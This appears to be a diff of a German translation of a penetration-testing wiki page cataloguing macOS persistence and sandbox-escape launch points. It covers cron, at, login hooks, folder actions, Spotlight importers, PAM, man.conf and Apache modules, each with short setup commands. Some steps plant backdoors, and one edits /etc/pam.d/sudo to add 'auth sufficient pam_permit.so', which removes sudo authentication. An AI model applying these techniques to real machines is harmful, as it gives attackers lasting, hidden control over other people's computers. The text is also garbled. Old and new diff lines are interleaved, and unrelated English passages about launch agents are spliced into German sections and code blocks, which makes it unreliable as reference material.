+Laut den vorherigen Berichten ist es möglich, **einige Audio-Plugins zu kompilieren** und sie zu laden. -### QuickLook Plugins +### QuickLook-Plugins Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) -* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -* TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) -* You might get some extra TCC access +* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button) +* TCC-Umgehung: [🟠](https://emojipedia.org/large-orange-circle) +* Möglicherweise zusätzlicher TCC-Zugriff -#### Location +#### Standort * `/System/Library/QuickLook` * `/Library/QuickLook` @@ -317,29 +311,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit. * `/Applications/AppNameHere/Contents/Library/QuickLook/` * `~/Applications/AppNameHere/Contents/Library/QuickLook/` -#### Description & Exploitation +#### Beschreibung & Ausnutzung -QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. +QuickLook-Plugins können ausgeführt werden, wenn Sie die **Vorschau einer Datei auslösen** (Leertaste drücken, wenn die Datei in Finder ausgewählt ist) und ein **Plugin, das diesen Dateityp unterstützt**, installiert ist. -It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it. +Es ist möglich, Ihr eigenes QuickLook-Plugin zu kompilieren, es an einem der vorherigen Standorte zu platzieren, um es zu laden, und dann zu einer unterstützten Datei zu gehen und die Leertaste zu drücken, um es auszulösen. -### ~~Login/Logout Hooks~~ +### ~~Anmelde-/Abmelde-Hooks~~ {% hint style="danger" %} -This didn't work for me, neither with the user LoginHook nor with the root LogoutHook +Das hat bei mir nicht funktioniert, weder mit dem Benutzer-LoginHook noch mit dem Root-LogoutHook {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) -* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -* TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button) +* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Standort -* You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` -* `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` +* Sie müssen in der Lage sein, etwas wie `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` auszuführen +* Befindet sich in `~/Library/Preferences/com.apple.loginwindow.plist` -They are deprecated but can be used to execute commands when a user logs in. +Sie sind veraltet, können aber verwendet werden, um Befehle auszuführen, wenn sich ein Benutzer anmeldet. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -371,7 +365,7 @@ Der Root-Benutzer wird in **`/private/var/root/Library/Preferences/com.apple.log ## Bedingte Sandbox-Umgehung {% hint style="success" %} -Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte Programme, "ungewöhnliche" Benutzeraktionen oder Umgebungen. +Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte **Programme, "ungewöhnliche" Benutzer**-Aktionen oder Umgebungen. {% endhint %} ### Cron @@ -391,18 +385,18 @@ Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die #### Beschreibung & Ausnutzung -Liste die Cron-Jobs des **aktuellen Benutzers** auf mit: +Listen Sie die Cron-Jobs des **aktuellen Benutzers** auf mit: ```bash crontab -l ``` -Sie können auch alle Cron-Jobs der Benutzer in **`/usr/lib/cron/tabs/`** und **`/var/at/tabs/`** (benötigt Root-Zugriff) einsehen. +Du kannst auch alle Cron-Jobs der Benutzer in **`/usr/lib/cron/tabs/`** und **`/var/at/tabs/`** (benötigt Root-Zugriff) einsehen. -In MacOS können in mehreren Ordnern Skripte mit **bestimmter Häufigkeit** ausgeführt werden: +In MacOS können mehrere Ordner gefunden werden, die Skripte mit **bestimmter Häufigkeit** ausführen: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (die nicht sehr häufig verwendet werden) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien verwendet). Die täglichen periodischen Jobs können beispielsweise mit dem Befehl `periodic daily` ausgeführt werden. +Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (die nicht sehr häufig verwendet werden) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien). Die täglichen periodischen Jobs können beispielsweise mit `periodic daily` ausgeführt werden. Um **benutzerdefinierte Cron-Jobs programmgesteuert hinzuzufügen**, ist es möglich, zu verwenden: ```bash @@ -420,11 +414,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit. #### Standorte * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** -* **Auslöser**: Öffnen von iTerm +* **Auslöser**: iTerm öffnen * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** -* **Auslöser**: Öffnen von iTerm +* **Auslöser**: iTerm öffnen * **`~/Library/Preferences/com.googlecode.iterm2.plist`** -* **Auslöser**: Öffnen von iTerm +* **Auslöser**: iTerm öffnen #### Beschreibung & Ausnutzung @@ -443,23 +437,23 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" Launch Agents are used to run processes when a user logs in. They are located in the following directories: -- `/Library/LaunchAgents/` -- `/System/Library/LaunchAgents/` -- `/Users//Library/LaunchAgents/` +- `/Library/LaunchAgents` +- `/System/Library/LaunchAgents` +- `/Users//Library/LaunchAgents` #### Launch Daemons Launch Daemons are used to run processes at system startup. They are located in the following directories: -- `/Library/LaunchDaemons/` -- `/System/Library/LaunchDaemons/` +- `/Library/LaunchDaemons` +- `/System/Library/LaunchDaemons` #### Startup Items Startup Items are legacy and deprecated but may still be present on older systems. They are located in the following directories: -- `/Library/StartupItems/` -- `/System/Library/StartupItems/` +- `/Library/StartupItems` +- `/System/Library/StartupItems` ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -524,7 +518,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit. * TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button) * Es fordert Zugriffsberechtigungen für die Bedienungshilfen an -#### Standort +#### Ort * **`~/Library/Application\ Support/xbar/plugins/`** * **Auslöser**: Sobald xbar ausgeführt wird @@ -543,10 +537,10 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) -* Nützlich, um die Sandbox zu umgehen: [✅](https://emojipedia.org/check-mark-button) +* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button) * Aber Hammerspoon muss installiert sein * TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button) -* Es fordert Zugriffsberechtigungen für die Bedienungshilfen an +* Es fordert Zugriffsberechtigungen für Bedienungshilfen an #### Standort @@ -557,7 +551,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dient als Automatisierungsplattform für **macOS** und nutzt die **LUA-Skriptsprache** für seine Operationen. Es unterstützt die Integration von vollständigem AppleScript-Code und die Ausführung von Shell-Skripten, was seine Skriptfähigkeiten erheblich verbessert. -Die App sucht nach einer einzigen Datei, `~/.hammerspoon/init.lua`, und wenn gestartet, wird das Skript ausgeführt. +Die App sucht nach einer einzigen Datei, `~/.hammerspoon/init.lua`, und wenn sie gestartet wird, wird das Skript ausgeführt. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF @@ -588,7 +582,7 @@ Dieses Tool ermöglicht es, Anwendungen oder Skripte anzugeben, die ausgeführt * `???` -Es ermöglicht die Erstellung von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise ist es für einen Angreifer möglich, eine Workflow-Datei zu erstellen und Alfred dazu zu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden). +Es ermöglicht das Erstellen von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise ist es für einen Angreifer möglich, eine Workflow-Datei zu erstellen und Alfred dazu zu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden). ### SSHRC @@ -608,7 +602,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit. * **Auslöser**: Anmeldung über SSH {% hint style="danger" %} -Um SSH zu aktivieren, ist Vollzugriff auf den Datenträger erforderlich: +Um SSH einzuschalten, ist Vollzugriff auf den Datenträger erforderlich: ```bash sudo systemsetup -setremotelogin on ``` @@ -651,19 +645,19 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' ``` Diese Elemente werden in der Datei **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** gespeichert. -**Anmeldeobjekte** können auch über die API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert. +**Anmeldeobjekte** können auch mit der API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert. ### ZIP als Anmeldeobjekt (Siehe vorherigen Abschnitt über Anmeldeobjekte, dies ist eine Erweiterung) -Wenn Sie eine **ZIP**-Datei als **Anmeldeobjekt** speichern, wird das **`Archive-Dienstprogramm`** es öffnen. Wenn die ZIP-Datei beispielsweise in **`~/Library`** gespeichert war und den Ordner **`LaunchAgents/file.plist`** mit einem Backdoor enthielt, wird dieser Ordner erstellt (standardmäßig nicht vorhanden) und die plist wird hinzugefügt, sodass beim nächsten Mal, wenn sich der Benutzer erneut anmeldet, die im plist angegebene **Backdoor ausgeführt wird**. +Wenn Sie eine **ZIP**-Datei als **Anmeldeobjekt** speichern, wird das **`Archive-Dienstprogramm`** es öffnen. Wenn die ZIP-Datei beispielsweise in **`~/Library`** gespeichert war und den Ordner **`LaunchAgents/file.plist`** mit einer Hintertür enthielt, wird dieser Ordner erstellt (standardmäßig nicht vorhanden) und die plist wird hinzugefügt, sodass beim nächsten Mal, wenn sich der Benutzer erneut anmeldet, die **in der plist angegebene Hintertür ausgeführt wird**. -Eine weitere Option wäre, die Dateien **`.bash_profile`** und **`.zshenv`** im Benutzer-HOME zu erstellen, sodass diese Technik auch funktionieren würde, wenn der Ordner LaunchAgents bereits existiert. +Eine andere Möglichkeit wäre, die Dateien **`.bash_profile`** und **`.zshenv`** im Benutzer-HOME zu erstellen, sodass diese Technik auch funktionieren würde, wenn der Ordner LaunchAgents bereits existiert. ### At -Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) +Bericht: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) * Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button) * Aber Sie müssen **`at`** **ausführen** und es muss **aktiviert** sein @@ -681,7 +675,7 @@ Standardmäßig sind sie **deaktiviert**, aber der **root**-Benutzer kann **sie* ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` -Dies wird eine Datei in 1 Stunde erstellen: +Dies wird in 1 Stunde eine Datei erstellen: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` @@ -726,7 +720,7 @@ echo 11 > /tmp/at.txt Wenn AT-Aufgaben nicht aktiviert sind, werden die erstellten Aufgaben nicht ausgeführt. {% endhint %} -Die **Jobdateien** befinden sich unter `/private/var/at/jobs/` +Die **Job-Dateien** befinden sich unter `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -763,7 +757,7 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89 #### Beschreibung & Ausnutzung -Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen, Entfernen von Elementen oder andere Aktionen wie das Öffnen oder Ändern der Fenstergröße des Ordners. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle. +Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen oder Entfernen von Elementen oder anderen Aktionen wie das Öffnen oder Ändern der Größe des Ordnerfensters. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle. Um Ordneraktionen einzurichten, haben Sie Optionen wie: @@ -796,7 +790,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"}); se.folderActions.push(fa); fa.scripts.push(myScript); ``` -Führen Sie das Einrichtungsskript mit aus: +Führen Sie das Einrichtungsskript mit: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` @@ -828,7 +822,7 @@ Dann öffnen Sie die `Folder Actions Setup`-App, wählen Sie den **Ordner, den S Wenn Sie nun diesen Ordner mit dem **Finder** öffnen, wird Ihr Skript ausgeführt. -Diese Konfiguration wurde im **plist** im Base64-Format gespeichert, das sich in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet. +Diese Konfiguration wurde im **plist** im base64-Format gespeichert, das sich unter **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet. Nun versuchen wir, diese Persistenz ohne GUI-Zugriff vorzubereiten: @@ -844,7 +838,7 @@ Jetzt, da wir eine leere Umgebung haben 4. Öffnen Sie die Folder Actions Setup.app, um diese Konfiguration zu übernehmen: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` {% hint style="danger" %} -Und das hat bei mir nicht funktioniert, aber das sind die Anweisungen aus dem Bericht :( +Bei mir hat das nicht funktioniert, aber das sind die Anweisungen aus dem Bericht :( {% endhint %} ### Dock-Verknüpfungen @@ -942,9 +936,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g * `/Library/ColorPickers` * Root erforderlich -* Auslöser: Verwenden des Farbauswählers +* Auslöser: Verwenden Sie den Farbauswähler * `~/Library/ColorPickers` -* Auslöser: Verwenden des Farbauswählers +* Auslöser: Verwenden Sie den Farbauswähler #### Beschreibung & Exploit @@ -988,25 +982,25 @@ pluginkit -e use -i com.example.InSync.InSync ``` ### Bildschirmschoner -Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ -Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) +Erklärung: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ +Erklärung: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) * Nützlich, um die Sandbox zu umgehen: [🟠](https://emojipedia.org/large-orange-circle) -* Aber Sie werden in einer allgemeinen Anwendungs-Sandbox enden +* Aber Sie werden in einer gängigen Anwendungs-Sandbox landen * TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle) #### Ort * `/System/Library/Screen Savers` -* Root erforderlich +* Benötigt Root-Rechte * **Auslöser**: Wählen Sie den Bildschirmschoner aus * `/Library/Screen Savers` -* Root erforderlich +* Benötigt Root-Rechte * **Auslöser**: Wählen Sie den Bildschirmschoner aus * `~/Library/Screen Savers` * **Auslöser**: Wählen Sie den Bildschirmschoner aus -
+
#### Beschreibung & Exploit @@ -1026,10 +1020,10 @@ Timestamp (process)[PID] {% endcode %} {% hint style="danger" %} -Beachten Sie, dass Sie aufgrund der Berechtigungen der Binärdatei, die diesen Code lädt (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), **`com.apple.security.app-sandbox`** finden können, dass Sie **innerhalb des üblichen Anwendungssandkastens** sind. +Beachten Sie, dass aufgrund der Berechtigungen der Binärdatei, die diesen Code lädt (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), Sie sich **innerhalb des üblichen Anwendungssandkastens** befinden. {% endhint %} -Saver-Code: +Sparcode: ```objectivec // // ScreenSaverExampleView.m @@ -1100,7 +1094,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) * Nützlich, um die Sandbox zu umgehen: [🟠](https://emojipedia.org/large-orange-circle) -* Aber du wirst in einer Anwendungs-Sandbox enden +* Aber Sie werden in einer Anwendungs-Sandbox enden * TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle) * Die Sandbox scheint sehr begrenzt zu sein @@ -1121,9 +1115,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit. #### Beschreibung & Ausnutzung Spotlight ist die integrierte Suchfunktion von macOS, die Benutzern einen **schnellen und umfassenden Zugriff auf Daten auf ihren Computern** bietet.\ -Um diese schnelle Suchfunktion zu ermöglichen, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht. +Um diese schnelle Suchfunktion zu erleichtern, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht. -Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight das Verstehen und Indizieren von Inhalten über eine Vielzahl von Dateiformaten hinweg ermöglichen. +Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight ermöglichen, Inhalte in einer Vielzahl von Dateiformaten zu verstehen und zu indizieren. Die Plugins oder **`.mdimporter`**-Bundles befinden sich an den zuvor genannten Orten, und wenn ein neues Bundle erscheint, wird es innerhalb von Minuten geladen (keine Notwendigkeit, einen Dienst neu zu starten). Diese Bundles müssen angeben, welche **Dateitypen und Erweiterungen sie verwalten können**, auf diese Weise wird Spotlight sie verwenden, wenn eine neue Datei mit der angegebenen Erweiterung erstellt wird. @@ -1181,7 +1175,7 @@ Darüber hinaus haben Systemstandard-Plugins immer Vorrang, sodass ein Angreifer Um Ihren eigenen Importeur zu erstellen, könnten Sie mit diesem Projekt beginnen: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) und dann den Namen ändern, die **`CFBundleDocumentTypes`** ändern und **`UTImportedTypeDeclarations`** hinzufügen, damit es die Erweiterung unterstützt, die Sie unterstützen möchten, und diese in **`schema.xml`** reflektieren.\ Ändern Sie dann den Code der Funktion **`GetMetadataForFile`**, um Ihr Payload auszuführen, wenn eine Datei mit der verarbeiteten Erweiterung erstellt wird. -Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die **Logs überwachen** oder **`mdimport -L`** überprüfen. +Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die Protokolle überwachen oder **`mdimport -L`** überprüfen. ### ~~Einstellungsfenster~~ @@ -1231,6 +1225,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit. #### Beschreibung & Ausnutzung Die periodischen Skripte (**`/etc/periodic`**) werden aufgrund der in `/System/Library/LaunchDaemons/com.apple.periodic*` konfigurierten **Startdaemons** ausgeführt. Beachten Sie, dass Skripte, die in `/etc/periodic/` gespeichert sind, als **Besitzer der Datei** ausgeführt werden, sodass dies nicht für einen potenziellen Privilegierungswechsel funktioniert. +{% code overflow="wrap" %} ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1273,7 +1268,7 @@ monthly_local="/etc/monthly.local" # Local scripts Wenn es Ihnen gelingt, eine der Dateien `/etc/daily.local`, `/etc/weekly.local` oder `/etc/monthly.local` zu schreiben, wird sie **früher oder später ausgeführt**. {% hint style="warning" %} -Beachten Sie, dass das periodische Skript als **Besitzer des Skripts ausgeführt wird**. Wenn also ein regulärer Benutzer das Skript besitzt, wird es als dieser Benutzer ausgeführt (dies kann Angriffe zur Privilegieneskalation verhindern). +Beachten Sie, dass das periodische Skript als Besitzer des Skripts **ausgeführt wird**. Wenn also ein regulärer Benutzer das Skript besitzt, wird es als dieser Benutzer ausgeführt (dies kann Angriffe zur Privilegieneskalation verhindern). {% endhint %} ### PAM @@ -1285,7 +1280,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit. * Aber Sie müssen root sein * TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle) -#### Standort +#### Ort * Root immer erforderlich @@ -1297,11 +1292,11 @@ Da PAM mehr auf **Persistenz** und Malware als auf einfache Ausführung in macOS ```bash ls -l /etc/pam.d ``` -Eine Persistenz-/Privileg-Eskalationstechnik, die PAM missbraucht, ist so einfach wie die Modifizierung des Moduls /etc/pam.d/sudo durch Hinzufügen der Zeile am Anfang: +Eine Persistenz-/Privileg Eskalationstechnik, die PAM ausnutzt, ist so einfach wie die Modifikation des Moduls /etc/pam.d/sudo durch das Hinzufügen der Zeile am Anfang: ```bash auth sufficient pam_permit.so ``` -So wird es **etwa so aussehen**: +So wird es **aussehen wie** etwas in dieser Art: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1397,7 +1392,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit. #### Beschreibung & Exploit -Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, ein Backdoor ausgeführt wird. +Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte also so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, eine Hintertür ausgeführt wird. Zum Beispiel in **`/private/etc/man.conf`** festlegen: ``` @@ -1428,13 +1423,15 @@ touch /tmp/manconf #### Beschreibung & Exploit -Sie können in `/etc/apache2/httpd.conf` angeben, dass ein Modul geladen wird, indem Sie eine Zeile hinzufügen wie: +Sie können in `/etc/apache2/httpd.conf` angeben, ein Modul zu laden, indem Sie eine Zeile hinzufügen wie: + +{% code overflow="wrap" %} ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} -Auf diese Weise werden Ihre kompilierten Module von Apache geladen. Das Einzige ist, dass Sie es entweder mit einem gültigen Apple-Zertifikat signieren müssen oder ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren müssen. +Auf diese Weise werden Ihre kompilierten Module von Apache geladen. Das Einzige ist, dass Sie es entweder mit einem gültigen Apple-Zertifikat signieren müssen oder Sie ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren müssen. Dann, falls erforderlich, um sicherzustellen, dass der Server gestartet wird, könnten Sie ausführen: ```bash @@ -1472,8 +1469,6 @@ Immer wenn auditd eine Warnung erkennt, wird das Skript **`/etc/security/audit_w ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` -Du könntest eine Warnung erzwingen mit `sudo audit -n`. - ### Startobjekte {% hint style="danger" %} @@ -1546,41 +1541,41 @@ Startup Items are legacy items that automatically launch when a user logs in. Th #### Cron Jobs -Cron Jobs are scheduled tasks that run at specific times. They are managed using the `crontab` command: - -```bash -crontab -l -``` - -#### Periodic Jobs - -Periodic Jobs are scripts that run daily, weekly, and monthly. They are located in: - -```plaintext -/etc/periodic/daily -/etc/periodic/weekly -/etc/periodic/monthly -``` +Cron Jobs are scheduled tasks that run at specific times. They are managed using the `crontab` command in the Terminal. #### Kernel Extensions -Kernel Extensions are drivers that load when the system starts. They are located in: +Kernel Extensions are drivers that run at a low level in the operating system. They are located in: ```plaintext /Library/Extensions /System/Library/Extensions ``` -#### Launch Agents and Daemons Plists +#### Third-Party Extensions -The property list (plist) files for Launch Agents and Daemons are located in the LaunchAgents and LaunchDaemons directories. They have `.plist` file extensions. +Third-Party Extensions are additional drivers or software that can impact system performance. They are located in: ```plaintext -~/Library/LaunchAgents/*.plist -/Library/LaunchAgents/*.plist -/Library/LaunchDaemons/*.plist +/Library/Application Support ``` +#### System Preferences + +System Preferences can also contain items that automatically start at login. Check: + +```plaintext +System Preferences > Users & Groups > Current User > Login Items +``` + +#### Browser Extensions + +Browser Extensions can also run automatically and impact browser performance. They are managed within the browser settings. + +#### Malware + +Malware can install persistence mechanisms in any of these locations to maintain a presence on the system. + {% endtab %} ```bash #!/bin/sh @@ -1629,12 +1624,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit. #### Beschreibung & Exploit -XQuartz ist **nicht mehr in macOS installiert**, daher finden Sie weitere Informationen im Writeup. +XQuartz ist **nicht mehr in macOS installiert**, daher sollten Sie für weitere Informationen das Writeup überprüfen. ### ~~kext~~ {% hint style="danger" %} -Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Fluchtweg aus Sandboxes oder sogar für Persistenz betrachten werde (es sei denn, Sie haben einen Exploit). +Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Methode betrachten werde, um aus Sandboxes auszubrechen oder für Persistenz (es sei denn, Sie haben einen Exploit). {% endhint %} #### Standort @@ -1658,7 +1653,7 @@ Für weitere Informationen zu [**Kernel-Erweiterungen siehe diesen Abschnitt**]( ### ~~amstoold~~ -Bericht: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) #### Ort @@ -1667,13 +1662,13 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit. #### Beschreibung & Ausnutzung -Anscheinend wurde das `plist` von `/System/Library/LaunchAgents/com.apple.amstoold.plist` dieses Binär verwendet, während es einen XPC-Dienst freilegte... das Problem war, dass das Binär nicht existierte, also konnte man etwas dort platzieren und wenn der XPC-Dienst aufgerufen wird, wird Ihr Binär aufgerufen. +Anscheinend wurde die `plist` von `/System/Library/LaunchAgents/com.apple.amstoold.plist` dieses Binär verwendet, während es einen XPC-Dienst freilegte... das Problem war, dass das Binär nicht existierte, also konnte man etwas dort platzieren und wenn der XPC-Dienst aufgerufen wird, wird Ihr Binär aufgerufen. Ich kann das nicht mehr in meinem macOS finden. ### ~~xsanctl~~ -Bericht: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) #### Ort @@ -1683,7 +1678,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit. #### Beschreibung & Ausnutzung -Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen möchten, überprüfen Sie den Bericht. +Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen wünschen, lesen Sie den Writeup. ### ~~/etc/rc.common~~ @@ -1796,7 +1791,7 @@ esac Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! -* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) +* Holen Sie sich das [**offizielle PEASS & 